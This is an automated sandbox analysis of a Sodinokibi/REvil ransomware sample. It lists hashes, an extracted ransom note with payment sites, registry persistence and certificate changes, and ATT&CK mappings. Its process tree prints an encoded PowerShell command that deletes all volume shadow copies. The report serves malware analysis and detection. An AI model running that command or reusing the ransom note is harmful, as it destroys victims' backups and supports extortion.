sodinokibi | d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c

General

Target

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
Size

164KB
MD5

1f0e494c8ed568615a04c265879ccd8e
SHA1

508eb9d543c3dd502989107029050ace012a59b9
SHA256

d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c
SHA512

696f44f8c31c0a4e6e1b4b7b22b95e51eca607731847d90cc258ed1d9502e8d3b94757d5f45df1759f02439694df9bb5c9c7f7de532afce2faca01ca18d1938e
SSDEEP

3072:VY+/DEGmOECUR5ai2XGmSQEjv5TpF+OjN57YpFLwhqdc0/:VY+gT/Cu8i2W5jh7xz72Llc

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\8s523lbe-wannadie.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 8s523lbe. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/579FFBA666600A91 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/579FFBA666600A91 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: AT0yanX4rfvjlfrCmIsHGt6Ud8tCz/9y3mpEL5OdxXr7IF/3mKG+D9Nti1B+B8tU uRafyq+Mym3HTpT+6lU1KpajLJG00aXoNtPKW7dnl7zySZ8jaT7II7EXJAzIqWV+ tluzpWpMwBuns2qeYETs1KBI5wybeIznJ259h0CL286uTm20GkA2eVxGC0eAe1j0 5a3/zwdqZpQ5u+NUbbT5qMIHX9h4M0XtSG/2+vQiQNOouTYSKTYNLSJImIdEtjzb J5PLo+KZY84DARrRcCXLNDn4/GQCzVoNrnY/jrjCrwapiVbXG/aoAtcGrbLVzkIZ RD1eSRKr/7p6gAkTmIzgyrYYMQuniSvYN2tG9erXk8tTBMFMGJdO6gbHohkkEulk HnrHPFdhRoOScYf+baBSpwBKXB2nfzPSf3tw0+WamgcYZPpW1lYk9t2kWlqqVZW6 Hn1opMkC0Yz7obnMbiXGXjq3pZKFvB57WQsGize+DyfK7xOrMdELaUgMbJTPocnV 5elDAC4z8ZMVYTvydf2eZsE+AnoYyCKRNJNgUBfijqpqthFXqTmDd97CMlu2X2Xm vIDpoBWmTdzbHbapFGQ/ueNQEkRL9V3+IngMtd4KmdMWdLbF2j1gHDqZ8pLM3s1e DB76AXWA2OoLWTjj99iDRaLIFBRYV5rcPbgj93/iDdK0uK+HQeKUqhLUctR/cTQa CHnNhwaa6WHQZ+jumh3tljtCHceld5swTA5jkwp6DKBLfdftRTdnlOgocriufkD/ cC5HBqN2sYDlT+93epHUMctG9bS8DbYQI5GcV9EA/MwPige90B1B9IVJX8aVKQSo s9F6ermy0ck/naO8NXgqgtlEXF/b0DsGLu2Prv6wCE+3VF6OeSig64byDCDuSnTX d86KBd9SFQ1nQg73+NNnoCtTgRBZ9gfBiNmhvScx2hKL0jemU1MMMbTl1n+L2Xe0 qjIY1ysRwVnhQEktZfy9gd/eUr8ysTrIVsMjKp7mfB9LhphbUj0akxIb91EgM66S O4QyQZOTrggAdDC3E5mNl85ODYkXN3nJyk7+C8TuxLDJcJfSITDTDY0Q0NePuUhZ 3BKH27OG7buYNjHduyDLEuACvl80eAstPdyVVdgRlx3cPBLP6XsuAulKognnapFD YV1JIAxEqhjuYiE33ExGYxJvIjbyhzpVuQ2zQrr0cFP2ZT/AWac3urryRRcEz0SF VsRFHjugTWInUkqKD8qsLw== Extension name: 8s523lbe ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/579FFBA666600A91

http://decryptor.top/579FFBA666600A91

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\lNOWZyAWVv = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe"	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
File opened (read-only)	\??\P:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\X:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\A:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\H:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\N:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\R:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\G:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\J:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\L:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\M:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\O:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\Q:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\S:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\Z:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\U:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\D:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\B:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\K:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\T:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\E:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\F:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\I:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\V:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\W:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\Y:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Drops file in System32 directory 1 IoCs

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\hm6l99.bmp"	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Drops file in Program Files directory 36 IoCs

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
File opened for modification	\??\c:\program files\ApproveWatch.eps	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\HideAssert.mov	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ExportNew.vsdx	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SuspendCompare.doc	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SelectStart.cfg	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WriteApprove.mp4	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File created	\??\c:\program files (x86)\8s523lbe-wannadie.txt	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CopyUse.vdx	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ExpandHide.mpg	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InitializePop.rar	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeConfirm.ttf	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RenameConfirm.TTS	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BlockLimit.tmp	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertToRepair.raw	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeEnter.wmv	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\OutNew.mp2v	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasureHide.xlsm	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UndoCompare.au	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\8s523lbe-wannadie.txt	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EnterEdit.rmi	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LockStop.wmx	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RestoreLock.crw	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\StopMount.wmv	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\8s523lbe-wannadie.txt	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File created	\??\c:\program files\8s523lbe-wannadie.txt	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompressHide.avi	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompressUnpublish.temp	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RegisterStep.nfo	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WatchExit.mp4	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\8s523lbe-wannadie.txt	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CloseReceive.wav	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertToInitialize.ttf	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertUnprotect.inf	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SuspendMerge.sql	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnlockMove.html	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WaitDisable.js	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 7065fcda21a0da01	powershell.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exepowershell.exe

pid	process
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2200	powershell.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeBackupPrivilege	2628	vssvc.exe
Token: SeRestorePrivilege	2628	vssvc.exe
Token: SeAuditPrivilege	2628	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	pid	process	target process
PID 2904 wrote to memory of 2200	2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe	powershell.exe
PID 2904 wrote to memory of 2200	2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe	powershell.exe
PID 2904 wrote to memory of 2200	2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe	powershell.exe
PID 2904 wrote to memory of 2200	2904	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2720

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2628

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

3

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Resource Development

Reconnaissance

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Downloads

C:\Users\8s523lbe-wannadie.txt
Filesize
6KB

MD5
a4b707649baa2355944a174b6e23afc9

SHA1
f38e81b08a4890f7c865c0eb142b57ca43c70107

SHA256
748995894cbc2dd8ffa22b3b6f0afa7c026dc1c83e38dc2c709e233dc281fb82

SHA512
bd630bb3f0d526cb04519cce102fe0740006b9820c55ecc912b2bf1ac705b40b2315e2887c8a54ed338ca78bdda07a6c67af3352c4e4cfddf09b4950ee7f5fd2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab3D60.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar3E70.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Windows\System32\catroot2\dberr.txt
Filesize
192KB

MD5
130e207c1944f89f04edd1c2b06f23c5

SHA1
f8bd1823948cd1a694dbc83ee7f33376590e6827

SHA256
0d66106216df21f603c7813d8ac49639cfd6b9be5c60fa8c6d2781723e585dbb

SHA512
73a3748c1c3b15d54dd63ac3f501a2f9a6ad45c820ba84b26c92558b04a6ba6d5abf91b21b17ef880a504daa6ff6760fb033bd0795271498a209d1b8c29c852c

Download Submit
memory/2200-23-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-18-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2200-24-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-22-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-21-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-20-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-19-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2200-17-0x000007FEF4FCE000-0x000007FEF4FCF000-memory.dmp

Filesize
4KB

Download
memory/2904-11-0x0000000000120000-0x0000000000126000-memory.dmp

Filesize
24KB

Download
memory/2904-8-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/2904-1-0x0000000000C10000-0x0000000000CD9000-memory.dmp

Filesize
804KB

Download
memory/2904-2-0x0000000000DF0000-0x0000000000E8F000-memory.dmp

Filesize
636KB

Download
memory/2904-3-0x0000000000E90000-0x0000000000FBD000-memory.dmp

Filesize
1.2MB

Download
memory/2904-0-0x00000000000E0000-0x00000000000EA000-memory.dmp

Filesize
40KB

Download
memory/2904-7-0x00000000000F0000-0x00000000000F1000-memory.dmp

Filesize
4KB

Download
memory/2904-9-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download
memory/2904-485-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download
